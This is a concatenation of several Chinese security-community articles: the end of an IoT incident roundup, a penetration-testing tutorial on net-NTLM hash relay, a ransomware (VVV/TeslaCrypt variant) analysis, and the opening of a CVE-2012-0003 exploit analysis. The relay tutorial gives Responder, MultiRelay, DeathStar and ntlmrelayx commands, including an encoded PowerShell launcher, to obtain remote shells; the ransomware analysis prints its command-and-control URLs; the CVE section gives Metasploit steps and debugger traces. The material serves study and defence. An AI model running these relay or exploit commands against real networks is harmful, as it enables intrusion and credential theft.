无人机已经进入人们的工作和生活。不仅在国防、救援、勘探等领域发挥着越来越重的作用，更成为物流、拍摄、旅游等商业服务的新模式。一台无人机由通信系统、传感器、动力系统、储能装置、任务载荷系统、控制电路和机体等多个模块组成。与我们平常使用的智能手机、平板电脑一样，在系统、信号、应用上面临各类安全威胁。
在今年11月份的一次安全会议上，阿里巴巴安全研究人员做了远程劫持无人机的演示，一个专业人员无需软件漏洞就能Root（获得管理员权限）无人机。而就在1年前的2016年黑帽安全亚洲峰会上，IBM安全专家也演示了远程遥控两公里内的无人机起飞的案例，攻击者只需要多掌握一点无线电通信的基础知识就能够完成劫持操作。
针对越来越多的安全威胁，为了保障无人机的运行安全，顶象技术联手迅蚁网络推出国内首个无人机安全解决方案——“无人机全链路防护体系”。在设备端：通过虚机源码保护技术对核心算法、系统源代码进行保护，以防范系统的代码泄露、被破解，保障无人机的系统安全。在通讯端：配置链路保护技术，防范在数据传输中被窃听、篡改、劫持，保障通信指令的可信有效和操控安全。在服务器端：部署云安全防护，保障服务器、网络和各个应用的安全，并提供实施风险决策和智能分析。
## 五、Avanti Markets自动售货机泄露用户数据
今年七月，美国自动售货机供应商 Avanti
Markets遭遇黑客入侵内网。攻击者在终端支付设备中植入恶意软件，并窃取了用户信用卡账户以及生物特征识别数据等个人信息。该公司的售货机大多分布在各大休息室，售卖饮料、零食等副食品，顾客可以用信用卡支付、指纹扫描支付或现金支付的方式买单。Avanti
Markets的用户多达160万。
根据某位匿名者提供的消息，Avanti 没有采取任何安全措施保护数据安全，连基本的 P2P 加密都没有做到。
事实上，售货终端以及支付终端等IoT设备遭遇入侵在近几年似乎已成为家常便饭。支付卡机器以及POS终端之所以备受黑客欢迎，主要是因为从这里窃取到的数据很容易变现。遗憾的是，POS终端厂商总是生产一批批不安全的产品，而且只在产品上市发布之后才考虑到安全问题。
## 六、17.5 万个安防摄像头被曝漏洞
今年八月，深圳某公司制造的17.5万个物联网安防摄像头被爆可能遭受黑客攻击，这些安防摄像头可以提供监控和多项安全解决方案，包括网络摄像头、传感器和警报器等。
安全专家在该公司制造的两个型号的安防摄像头中找到了多个缓冲区溢出漏洞。这些安防摄像头都是通用即插即用（UPnP）设备，它们能自动在路由器防火墙上打开端口接受来自互联网的访问。
安全专家注意到，两款安防摄像头可能会遭受两种不同的网络攻击，一种攻击会影响摄像头的网络服务器服务，另一种则会波及 RSTP（实时串流协议）服务器。
研究人员称这两款安防摄像头的漏洞很容易就会被黑客利用，只需使用默认凭证登陆，任何人都能访问摄像头的转播画面。同时，摄像头存在的缓冲区溢出漏洞还使黑客能对其进行远程控制。
更多详情可参见：[17.5万台国产摄像头被曝漏洞，隐私安全谁来保护？](https://www.anquanke.com/post/id/86556)
## 七、超1700台IoT设备Telnet密码列表遭泄露
今年八月，安全研究人员 Ankit Anubhav 在 Twitter 上分享了一则消息，声称超 1700 台 IoT 设备的有效 Telnet
密码列表遭泄露，这些密码可以被黑客用来扩大僵尸网络进行 DDoS 攻击的动力来源。
这份列表中包含了33138
个IP地址、设备名称和telnet密码，列表中大部分的用户名密码组合都是”admin:admin”或者”root:root”等。这整份列表中包含143种密码组合，其中60种密码组合都来自于Mirai
Telnet扫描器。GDI 研究人员在分析了上述列表后确认它由 8200 个独特 IP 地址组成，大约每 2.174 个 IP
地址是通过远程登录凭证进行访问的。然而，该列表中的 61％ IP 地址位于中国。
该列表最初于今年 6 月在 Pastebin
平台出现，早期名单的泄露者与此前发布有效登录凭据转储、散发僵尸网络源代码的黑客是同一人。当天正值七夕，简直就是国内黑客们的七夕礼物。
更多详情可参见：[数千台物联网设备的Telnet凭证现身
恐成DDoS攻击大炮](https://www.anquanke.com/post/id/86713)
## 八、蓝牙协议爆严重安全漏洞，影响53亿设备
物联网安全研究公司Armis在蓝牙协议中发现了8个零日漏洞，这些漏洞将影响超过53亿设备——从Android、iOS、Windows以及Linux系统设备到使用短距离无线通信技术的物联网设备，利用这些蓝牙协议漏洞，Armis构建了一组攻击向量(attack
vector)“BlueBorne”，演示中攻击者完全接管支持蓝牙的设备，传播恶意软件，甚至建立一个“中间人”（MITM）连接。
研究人员表示，想要成功实施攻击，必备的因素是：受害者设备中的蓝牙处于“开启”状态，以及很明显的一点，要尽可能地靠近攻击者的设备。此外，需要注意的是，成功的漏洞利用甚至不需要将脆弱设备与攻击者的设备进行配对。
BlueBorne可以服务于任何恶意目的，例如网络间谍、数据窃取、勒索攻击，甚至利用物联网设备创建大型僵尸网络（如Mirai僵尸网络），或是利用移动设备创建僵尸网络（如最近的WireX僵尸网络）。BlueBorne攻击向量可以穿透安全的‘气隙’网络（将电脑与互联网以及任何连接到互联网上的电脑进行隔离），这一点是其他大多数攻击向量所不具备的能力。
更多详情可参见：[BlueBorne 蓝牙漏洞深入分析与PoC](https://www.anquanke.com/post/id/86949)
[蓝牙协议漏洞：BlueBorne攻击影响数十亿蓝牙设备](https://www.anquanke.com/post/id/86842)
## 九、WPA2爆严重安全漏洞，黑客可任意读取信息
今年10月，有安全专家表示WiFi的WPA2（WPA2是一种保护无线网络安全的加密协议）存在重大漏洞，导致黑客可任意读取通过WAP2保护的任何无线网络的所有信息。
据发现该漏洞的比利时鲁汶大学计算机安全学者马蒂·凡赫尔夫（Mathy
Vanhoef）称：“我们发现了WPA2的严重漏洞，这是一种如今使用最广泛的WiFi网络保护协议。黑客可以使用这种新颖的攻击技术来读取以前假定为安全加密的信息，如信用卡号、密码、聊天信息、电子邮件、照片等等。”
据悉，该漏洞名叫“KRACK”，存在于所有应用WPA2协议的产品或服务中。其中，Android和Linux最为脆弱，Windows、OpenBSD、iOS、macOS、联发科技、Linksys等无线产品都受影响。
“KRACK”漏洞利用有一定局限性，比如，需要在正常WiFi信号辐射到范围内。另外，该漏洞可以让中间人窃取无线通信中的数据，而不是直接破解WiFi的密码。
更多详情可参见：[WPA2漏洞原理分析与防御（WIPS产品对抗KRACK漏洞）](https://www.anquanke.com/post/id/87032)
## 十、智能家居设备存在漏洞，吸尘器秒变监视器
今年11月，Check Point研究人员表示LG智能家居设备存在漏洞，黑客可以利用该漏洞完全控制一个用户账户，然后远程劫持LG
SmartThinQ家用电器，包括冰箱，干衣机，洗碗机，微波炉以及吸尘机器人。
LG智能家居的移动端应用程序允许用户远程控制其设备（包括打开和关闭它们）。例如，用户可以在回家前启动烤箱和空调，在进超市前检查智能冰箱中还有多少库存，或者检查洗衣机何时完成一个洗衣循环。当用户离开时，无论设备是开启的还是关闭的，网络犯罪分子都可以得到一个完美的入侵机会，并将它们转换为实时监控设备。
研究人员演示了黑客通过控制安装在设备内的集成摄像头将LG Hom-Bot变成一个间谍。他们分析了Hom-Bot并找到了通用异步收发传输器（UART）的连接，当连接被找到时，研究人员就可以操纵它来访问文件系统，一旦主进程被调试，他们就可以找到启动Hom-Bot与SmartThinQ移动端应用程序之间用于通信的代码了。
迄今为止LG已售出超过100万台Hom-Bot吸尘器，但并非所有型号都具有HomeGuard安全监控功能。
十一、美国交通指示牌被攻击，播放反特朗普语言
今年12月，位于达拉斯北中央高速公路附近的一个电子交通指示牌遭到了不明黑客的攻击。标志牌的显示内容遭到了篡改，被用于显示针对美国现任总统唐纳德·特朗普（Donald
Trump）以及其支持者的侮辱性言语。
事件发生在周五晚上，这些信息被持续不间断地循环播放，并一直持续到周六早上。如此一块指示牌不仅震惊了人们，还造成了交通拥堵，因为大多数司机决定停下来“拍照留念”。值得注意的是，这并不是美国首次遭遇电子交通指示牌被黑客攻击事件。在2015年12月，特朗普的一位支持者在位于加利福尼亚州科罗纳市的一个高速公路牌上留下了“为唐纳德·特朗普投票（Vote
Donald Trump）”的消息。
安全专家表示，攻击电子交通指示牌是很简单的。因为，它们的控制后台总是采用默认密码，并提供有关如何打开控制台电源、关闭标志显示、关闭快速消息以及创建自定义消息的说明。
## 十二、1000余台利盟（Lexmark）打印机在线暴露，涉及众多国家政府办公室
NewSky
Security的安全研究人员最近发现超过1000台利盟（Lexmark）打印机因人为配置错误而在线暴露，任何能够连接到互联网的人都可以轻松地对其进行访问。
研究人员确定的易受攻击打印机具体数量为1123台，它们均没有设置密码保护。这意味着，只要潜在攻击者能够找到这些打印机，就可以执行多种不同类型的活动。比如，添加后门、劫持打印作业、使打印机脱机，甚至可以发送大量打印垃圾内容的作业指令造成打印机的物理损坏。
这些打印机来自全球多个国家，涉及企业、大学，甚至还包括某些国家政府办公室。NewSky
Security的研究人员在使用Shodan引擎进行搜索时，就发现了一台在线暴露的打印机似乎属于美国拉斐特市政府办公室。
## 总结
上述曝光的物联网安全事件，仅仅是呈现在大家眼前的冰山一角，隐藏在背后的物联网安全威胁层出不穷，2018的安全形势将会更加严峻。随着物联网逐渐走入千家万户的生活当中，物联网设备将成为黑客们新的战场，而且黑客攻击日益组织化、产业化，攻击对象的广度及深度，将有大幅度的变化。 | 社区文章 |
# 内网渗透-net-NTLM hash的攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
记得之前有个知识点还没有去写，虽然比较简单，但是很多文章对突出的重点写的不够详细，所以我搭个环境整理一下，具体一些认证原理、以及中继转发的过程，请查看我的上一篇文章。
## 0x02 中继原理
对于SMB协议，客户端在连接服务端时，默认先使用本机的用户名和密码hash尝试登录，所以可以模拟SMB服务器从而截获其它PC的net-ntlm
hash。而作为中继的机器必须要有域管理员权限或本地管理员权限，且被中继的机器要关闭smb签名认证，否则怎么去做中继呢，比如本文案例用域控做中继。
除了中继smb协议，还可以中继LDAP，从域内内收集更多的信息，包括用户、他们的组成员、域计算机和域策略；中继IMAP，Exchange 服务器上的
IMAP 支持 NTLM 身份验证，若Exchange启用 NTLM 身份验证，可以登录用户的邮箱。这些可以用来进一步的扩大危害。
## 0x03 获取net-NTLM hash
中继即让客户端连接到攻击者模拟的SMB，其实最关键的是先拿到net-ntlm hash，若是域管的hash，就可以拿到域内的任意主机权限。NTLM
身份验证被封装在其他协议中，但是无论覆盖的协议是什么，消息都是相同的，比如SMB、HTTP(S)、LDAP、IMAP、SMTP、POP3 和
MSSQL，就是说NTLM 支持多种协议。HTTP 进行身份验证的客户端会在“ Authorization”标头中发送 NTLM
身份验证消息，因此除了中继SMB可以直接登录之外，若是中继MSSQL等，可以转发登录目标的MSSQL。
下面总结几个获取方法：
1.中间人攻击，比如内网做个DNS劫持，如果是全内网劫持，危害是比较大的。
2.WPAD，自动发现协议，利用DNS 查找一个名为 WPAD 的主机名，如果不能通过上面描述的 LLMNR。
Responder开启WPAD后，-F，当目标浏览网站时强制使用NTLM hash认证，而且主机重启时也能抓到NTLM hash。
加-F参数即可开启WPAD抓取 hash，此时用户浏览网站Net-NTLM hash就被获取。
python Responder.py -I eth0 -v -F
3.web漏洞，如XSS、文件包含等获取net-NTLM hash。
4.LLMNR，构造不存在的主机名，当主机名无法使用 DNS 解析的主机，则使用本地链路多播名称解析，即LLMNR
滥用自动发现协议产生的流量，Windows 代理自动检测 (WPAD) 功能，自动尝试使用 NTLM 身份验证进行身份验证
通过中间人攻击获得的流量，比如DNS劫持，重定向到受害者工作站受信任的位置
## 0x04 中继反弹shell
攻击机ip
靶机ip
受害者ip-域内pc
1、攻击机执行 python Responder.py -I eth0 -r -d –w
2、sudo python MultiRelay.py -t 192.168.191.189 -u ALL
可以导入列表，这里演示一个攻击目标192.168.191.189，利用Responder的MultiRelay模块获取shell，如果成功，直接反弹192.168.191.189的shell
3、靶机执行 net use 192.168.191.190test
用户名密码随意输入，因为就算密码错误了，会调用这台机子自带的hash尝试登录攻击机，被攻击机获取hash，进行中继转发。
4、执行之后，发现MultiRelay已经反弹受害机的shell
获取shell之后进一步利用，可以dump hash、或加载到meterpreter、 CS，执行一下powershell命令即可。
## 0x05 DeathStar体验
1、启动empire
sudo python empire —rest —username username —password 123456
2、启动Deathstar，ip为攻击机ip，为了接管agent
python3 DeathStar.py -lip 192.168.191.190 -t 100 -u username -p 123456
3、empire生成powershell
Listeners，会发现已经有了一个DeathStar监听
launcher powershell DeathStar，生成powershell代码
4、启动Responder
sudo python Responder.py -I eht0 -r -d –v
Deathstar会自动寻找域控制器，及活跃用户等目录进行中继转发。
5、这条命令是对中继成功的机器，自动执行powershell，获取agent，powershell脚本放在引号中。
sudo ntlmrelayx.py -t 192.168.191.189 -c ‘powershell -noP -sta -w 1 -enc
[powershell code]’
ntlmrelayx.py支持-tf（例如target.txt），把目标导入利用中继批量转发攻击。
6、net use 192.168.191.190a
可以看到对每台PC进行了转发测试，若成功则反弹shell。
这个工具感觉没有想象中的强大，前面几分钟都在攻击我的kali攻击机，然后开始对域控进行中继，在整个网段探测存活，再对存活主机进行中继转发.
总结：
如果我们的msf在自己内网怎么办，目标内网肯定无法直接转发到我们的Responder，可以通过msf劫持445端口到自己本地，设置一个远程监听端口(auxiliary/scanner/smb/smb_login)，用来接收smb的数据，在设置一个meterpreter反向转发端口(portfwdadd)。
防御：
所有攻击都滥用了 NLTM 身份验证协议，因此唯一完整的解决方案是完全禁用 NTLM 并切换到 Kerberos。操作系统若不支持 Kerberos
身份验证，无法禁用，启用 SMB 签名，启用 LDAP 签名等来缓解。 | 社区文章 |
# VVV病毒真相：日本闹翻天中国也躺枪
|
##### 译文声明
本文是翻译文章，文章来源：360安全卫士
译文仅供参考，具体内容表达以及含义原文为准。
360互联网安全中心监控到,已经沉寂一段时间的CryptoLocker(文档加密敲诈者)类木马,本月初在国内又开始传播感染。本次传播的木马是之前CTB-Locker木马的一个变种,在加密文档之后,会在文档文件名之后加入“.vvv”,该病毒也因此被称为VVV病毒。
**
**
**概述**
经分析,该木马的核心加密功能,是根据臭名昭著的TeslaCrypt(特斯拉加密者,与那个电动汽车厂商没有任何关系)的最新版本改写而来。TeslaCrypt从今年2月份正式“出道”以来,已经经过了8个版本的迭代。其中前4个版本加密后的文档都可以通过工具恢复,但从第5版开始则无法再恢复。且其第5版和第7版都曾在国内有过不同规模的爆发。
此次病毒事件主要的传播地区在日本,twitter上搜索“vvvウイルス”已经闹翻了天了:
而我国出现该病毒完全属于“躺枪”。之所以说是“躺枪”,其实看下对方的勒索要求就很明显了。对方给出了四个所谓的“私人页面(Personal
Pages)”要求你去访问并获取交易信息。但实际上这四个网站的域名分别为:
encpayment23.com
expay34.com
hsh73cu37n1.net
onion.to
这其中,只有最后一个onion.to可以访问,但这是一个“Tor Hidden Services
Gateway”,也就是说这是一个用洋葱路由的方式专门用来隐藏背后真实服务商的网站,并且还需要你安装一个所谓的“Tor
Browser”进入洋葱网络才能正常浏览,于是:
几个小时过去了……然后就没有然后了……也就是说即便我想要老老实实的交付赎赎金,也是一个不可能完成的任务。
**
**
**传播**
不只是不能访问的页面,根据我们的监控数据看,也印证了该木马并非针对中国而来——刚刚进入12月的时候木马感染量有过一次小规模的上涨,而最近几天的传播量更是创了一个新高。但即便如此每天的木马活跃了也没有超过100个,所以说总体而言该木马在我国并没有真正意义上的“爆发”起来。
而国内中招用户大部分也是通过比较传统的途径感染的木马——电子邮件:
邮件声称你有一笔未偿欠款,如果逾期不还的话,会产生7%的利息。而附件中所谓的“单据副本”其实就是这个木马。多么典型的诈骗内容——“您有欠款”、“您欠电话费了”、“您有未接收的快递”、“您有法院传票”……看来用这样的说辞并非国人的专利。但全篇的英语又有几个人会去仔细看完然后点开附件呢?这也就是在国内传播量很小的主要原因。
而实际上,该木马在国外的传播途径不仅仅是邮件传播,也包括一部分通过网页挂马(以去年最后的CVE-2014-6332和今年出镜率最高的CVE-2015-5122这两个漏洞的利用为主)来实现的木马传播,但由于经常访问的网站有很大不同,所以在国内因为网页挂马导致感染该木马的情况并不多见。
**
**
**样本分析:**
样本最开始的来源是一个伪装成发票单的js脚本
咋看内容是一堆乱码:
对其格式稍加调整之后,可以发现,其实就是一些字符的混淆,最后通过eval函数执行。
直接将其eval的内容log输出,就能看到真正执行的代码了,功能比较简单,只是一个木马下载器
样本本身带有一个简单的保护壳,启动后,会检测自身路径,如果不在%appdata%下,会将自身拷贝过去,并再次启动,之后删除之前的木马文件,达到隐藏自身的目的。
木马在%appdata%下执行之后,会再次启动自身,解密隐藏的代码,注入到启动的这个子进程中:
木马使用这种方法,试图绕过传统特征码定位引擎的查杀,解码出来的程序是真正的木马工作部分:
木马的整体流程控制上,和之前的ctb-locker比较相似:
由于这个模块是通过注入方式执行的,启动后会通过GetProcAddress找到找到所需的系统API:
木马在感染之前,会先将自身写入启动项,保证下次开机仍能够启动!
木马中配置等各类地址,都经过了重新编码,用来对抗分析:
解码出的内容包括木马控制服务器,密钥交换时提及的信息结构:
0012DD0C 00CD1B18 ASCII
"Sub=%s&key=%s&dh=%s&addr=%s&size=%lld&version=%s&OS=%ld&ID=%d&gate=%s&ip=%s&inst_id=%X%X%X%X%X%X%X%X"
0012DC98 01062040 ASCII "http://crown.essaudio.pl/media/misc.php"
0012DCF0 01061F38 ASCII "http://graysonacademy.com/media/misc.php"
0012DD04 01061E30 ASCII "http://grupograndes.com/media/misc.php"
0012DD18 01061D28 ASCII "http://grassitup.com/media/misc.php"
密钥生成方式和之前的CTB-Locker一致,都是通过ECDH生成,如果没有服务器上的私鈅目前无法获取到加密密钥。
文件加密过程中,会排除掉带有.vvv扩展名的文件和带有recove的文件:
加密如下190种类型的文件:
.r3d|.ptx|.pef|.srw|.x3f|.der|.cer|.crt|.pem|.odt|.ods|.odp|.odm|.odc|.odb|.doc|.docx|.kdc|.mef|.mrwref|.nrw|.orf|.raw|.rwl|.rw2|.mdf|.dbf|.psd|.pdd|.pdf|.eps|.jpg|.jpe|.dng|.3fr|.arw|.srf|.sr2|.bay|.crw|.cr2|.dcr|.ai|.indd|.cdr|.erf|.bar|.hkx|.raf|.rofl|.dba|.db0|.kdb|.mpqge|.vfs0|.mcmeta|.m2|.lrf|.vpp_pc|.ff|.cfr|.snx|.lvl|.arch00|.ntl|.fsh|.itdb|.itl|.mddata|.sidd|.sidn|.bkf|.qic|.bkp|.bc7|.bc6|.pkpass|.tax|.gdb|.qdf|.t12|.t13|.ibank|.sum|.sie|.zip|.w3x|.rim|.psk|.tor|.vpk|.iwd|.kf|.mlx|.fpk|.dazip|.vtf|.vcf|.esm|.blob|.dmp|.layout|.menu|.ncf|.sid|.sis|.ztmp|.vdf|.mov|.fos|.sb|.itm|.wmo|.itm|.map|.wmo|.sb|.svg|.cas|.gho|.syncdb|.mdbackup|.hkdb|.hplg|.hvpl|.icxs|.docm|.wps|.xls|.xlsx|.xlsm|.xlsb|.xlk|.ppt|.pptx|.pptm|.mdb|.accdb|.pst|.dwg|.xf|.dxg|.wpd|.rtf|.wb2|.pfx|.p12|.p7b|.p7c|.txt|.jpeg|.png|.rb|.css|.js|.flv|.m3u|.py|.desc|.xxx|.wotreplay|wallet|.big|.pak|.rgss3a|.epk|.bik|.slm|.lbf|.sav|.re4|.apk|.bsa|.ltx|.forge|.asset|.litemod|.iwi|.das|.upk|.d3dbsp|.csv|.wmv|.avi|.wma|.m4a|.rar|.7z|.mp4|.sql|
在对文件加密完成之后,会对加密好的文件进行重命名,加入vvv扩展名:
和其它木马判断完整进程名不同,这个木马会判断系统是否运行有程序,带有askmg,rocex,egedi,sconfi,cmd这些关键词的程序,如果带有,就结束这些程序,实际上对应的是procexp.exe,taskmgr.exe之类的辅助分析工具等。
加密完成后,会在被加密文件夹下生成:
最后敲诈者展示这个勒索页面:
**
**
**最后**
由于一旦中招,机器中的所有资料全会被加密,并且完全无法恢复(如上所说,即便你愿意付赎金,也可能无处可付),所以对此类木马的警惕性依然是非常有必要的。用户在使用计算机的过程中,对重要文件,最好进行隔离备份,减小各类应病毒木马攻击,程序异常,硬件故障等造成的文件丢失损失。同时也要养成良好的习惯,不要随意打开陌生邮件的附件。安装具有文档防护功能的安全软件,对于安全软件已经提示风险的程序,不要继续执行。 | 社区文章 |
# 【技术分享】《漏洞战争》cve-2012-0003学习分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**
**
****
作者：[quanyechavshuo](http://bobao.360.cn/member/contribute?uid=1255579132)
预估稿费：300RMB（不服你也来投稿啊！）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**0x00 about**
这个漏洞是由于微软的多媒体库winmm.dll(c:windowssystem32winmm.dll)在处理MIDI文件时，由于对数据的处理不当导致的"堆溢出"，攻击者可以在网页中嵌入特殊的MIDI文件来远程执行任意代码。
**0x01 准备工作**
使用msf中的exp：
msfconsole
search cve-2012-0003
use exploit/windows/browser/ms12_004_midi
set uripath test.html
set payload windows/exec
set cmd calc.exe
server started
http://192.168.118.129:8080/test.html
奇怪的是在系统中不存在test.html，但是访问上面生成的网马链接确实会中马，后来查看msf中的exp:ms12_004_midi.rb，里面生成html的代码为：
send_response(cli, html, {'Content-Type'=>'text/html'})
send_response函数在msfapi中有如下用法：
[msfapi_send_response](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpServer/HTML.html#send_response_html-instance_method)
也即相当于msf内置webserver通过send_response函数发送html代码到客户端实现下面这个链接的访问：
<http://192.168.118.129:8080/test.html>
这种方式比较特殊，可能msf的web是ruby的某个类似python下的Django的web框架开发的。
**0x02 调试分析**
打开iexplore.exe，win+r:cmd：
gflags -i iexplore.exe +hpa
这里如果在windbg中设置!gflag +hpa不会成功，可能是winxp或是windbg的问题，windbg:f6附加iexplore.exe：
!gflag
0:016> !gflag
Current NtGlobalFlag contents: 0x02000000
hpa - Place heap allocations at ends of pages
g
ie打开：<http://192.168.118.129:8080/test.html>
(180.6f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=16a7f019 edi=16a7cf60
eip=76b2d224 esp=3685fe80 ebp=3685fea0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06 mov al,byte ptr [esi] ds:0023:16a7f019=??
到这里只知道76b2d224处有内存访问异常，然而要想写出exp，还需要弄清参数传递过程,这个"堆溢出"cve的利用不是DWORD
SHOOT，而是巧妙地构造html代码达到控制eip的目的，如果是利用堆溢出,一般会想到在上面访问异常时通过找到一个DWORD
SHOOT的机会来覆盖异常处理相关的函数地址来控制eip，且要在可控数据复制到内存后找到堆分配调用。
win+r:cmd：
gflags -i iexplore.exe -hpa
bu WINMM!midiOutPlayNextPolyEvent
g
ie打开：<http://192.168.118.129:8080/test.html>
Breakpoint 0 hit
eax=00000000 ebx=ffffffff ecx=7ffdf000 edx=00216790 esi=00216780 edi=002167d8
eip=76b2d038 esp=0012e5b0 ebp=0012e5dc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINMM!midiOutPlayNextPolyEvent:
76b2d038 8bff mov edi,edi
此时中断下来,再看看没有+hpa情况下的:WINMM!midiOutPlayNextPolyEvent+0x1ec会不会访问异常：
bu WINMM!midiOutPlayNextPolyEvent+0x1ec
g
Breakpoint 0 hit
eax=00000251 ebx=0000007f ecx=007f2399 edx=00000000 esi=046de111 edi=025cd4f0
eip=76b2d224 esp=0393fe80 ebp=0393fea0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06 mov al,byte ptr [esi] ds:0023:046de111=00
此时中断下来，看到这里的[esi]与上面异常访问时的[esi]不同，考虑到启用页堆是在堆块后增加专门用于检测溢出的栅栏页，以便在堆溢出触及栅栏页时立刻触发异常，而+hpa和-hpa的情况下[esi]不同，应该不是由于页堆造成的[esi]的不同，猜测是由于WINMM!midiOutPlayNextPolyEvent+0x1ec处要执行多遍，而刚开始执行到WINMM!midiOutPlayNextPolyEvent+0x1ec
时，[esi]处是可以访问的，只是msf中设置好的exp数据在后面某一次程序执行到WINMM!midiOutPlayNextPolyEvent+0x1ec时，[esi]产生了变化，并在+hpa时，[esi]属于页堆增加的栅栏页的地址范围才导致+hpa时在某次执行到WINMM!midiOutPlayNextPolyEvent+0x1ec时造成访问异常，为了验证这个想法，进行如下操作：
关闭windbg，重新打开ie，cmd:
gflags -i iexplore.exe +hpa
打开windbg,f6加载iexplore.exe：
bu WINMM!midiOutPlayNextPolyEvent+0x1ec
bu WINMM!midiOutPlayNextPolyEvent
g
ie打开：<http://192.168.118.129:8080/test.html>
Breakpoint 1 hit
eax=00000000 ebx=ffffffff ecx=7ff9d000 edx=16840f70 esi=16840f60 edi=16840fb8
eip=76b2d038 esp=365bfbe0 ebp=365bfc0c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINMM!midiOutPlayNextPolyEvent:
76b2d038 8bff mov edi,edi
g
Breakpoint 1 hit
eax=00000000 ebx=ffffffff ecx=7ff98000 edx=16840f70 esi=16840f60 edi=16840fb8
eip=76b2d038 esp=3690fea4 ebp=3690fedc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINMM!midiOutPlayNextPolyEvent:
76b2d038 8bff mov edi,edi
这里看到WINMM!midiOutPlayNextPolyEvent第一次运行时不会经过+0x1ec的位置，在+1ec之前就返回了，
g
Breakpoint 0 hit
eax=00000251 ebx=0000007f ecx=007f2399 edx=00000000 esi=16842e51 edi=16840f60
eip=76b2d224 esp=3690fe80 ebp=3690fea0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06 mov al,byte ptr [esi] ds:0023:16842e51=00
这里看到第二次运行WINMM!midiOutPlayNextPolyEvent时第一次运行到+0x1ec处不会产生访问异常，
g
Breakpoint 0 hit
eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=16843019 edi=16840f60
eip=76b2d224 esp=3690fe80 ebp=3690fea0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06 mov al,byte ptr [esi] ds:0023:16843019=??
这里看到第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处访问异常([esi]不识别),g即可验证，
g
(51c.674): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=16843019 edi=16840f60
eip=76b2d224 esp=3690fe80 ebp=3690fea0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06 mov al,byte ptr [esi] ds:0023:16843019=??
这里可以看到的确是会触发异常的，也即+hpa时是第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处会访问异常，-hpa情况会怎样呢？进行如下操作验证:
关闭windbg，重新打开ie：
gflags -i iexplore.exe -hpa
打开windbg，f6加载iexplore.exe：
bu WINMM!midiOutPlayNextPolyEvent+0x1ec
bu WINMM!midiOutPlayNextPolyEvent
g
ie打开：<http://192.168.118.129:8080/test.html>
Breakpoint 1 hit
eax=00000000 ebx=ffffffff ecx=7ffdf000 edx=0256aa28 esi=0256aa18 edi=0256aa70
eip=76b2d038 esp=0012e5b0 ebp=0012e5dc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINMM!midiOutPlayNextPolyEvent:
76b2d038 8bff mov edi,edi
g
Breakpoint 1 hit
eax=00000000 ebx=ffffffff ecx=7ff98000 edx=0256aa28 esi=0256aa18 edi=0256aa70
eip=76b2d038 esp=0392fea4 ebp=0392fedc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINMM!midiOutPlayNextPolyEvent:
76b2d038 8bff mov edi,edi
g
Breakpoint 0 hit
eax=00000251 ebx=0000007f ecx=007f2399 edx=00000000 esi=025cae59 edi=0256aa18
eip=76b2d224 esp=0392fe80 ebp=0392fea0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06 mov al,byte ptr [esi] ds:0023:025cae59=00
g
Breakpoint 0 hit
eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=025cb021 edi=0256aa18
eip=76b2d224 esp=0392fe80 ebp=0392fea0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06 mov al,byte ptr [esi] ds:0023:025cb021=00
可以看到-hpa情况下在第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处是不会产生访问异常的，结合+hpa的功能(定位导致漏洞的代码或函数)可知在第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处的这句指令将导致产生"堆溢出"。
u .
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06 mov al,byte ptr [esi]
76b2d226 8ad0 mov dl,al
76b2d228 740c je WINMM!midiOutPlayNextPolyEvent+0x1fe (76b2d236)
76b2d22a 80e2f0 and dl,0F0h
76b2d22d 80faf0 cmp dl,0F0h
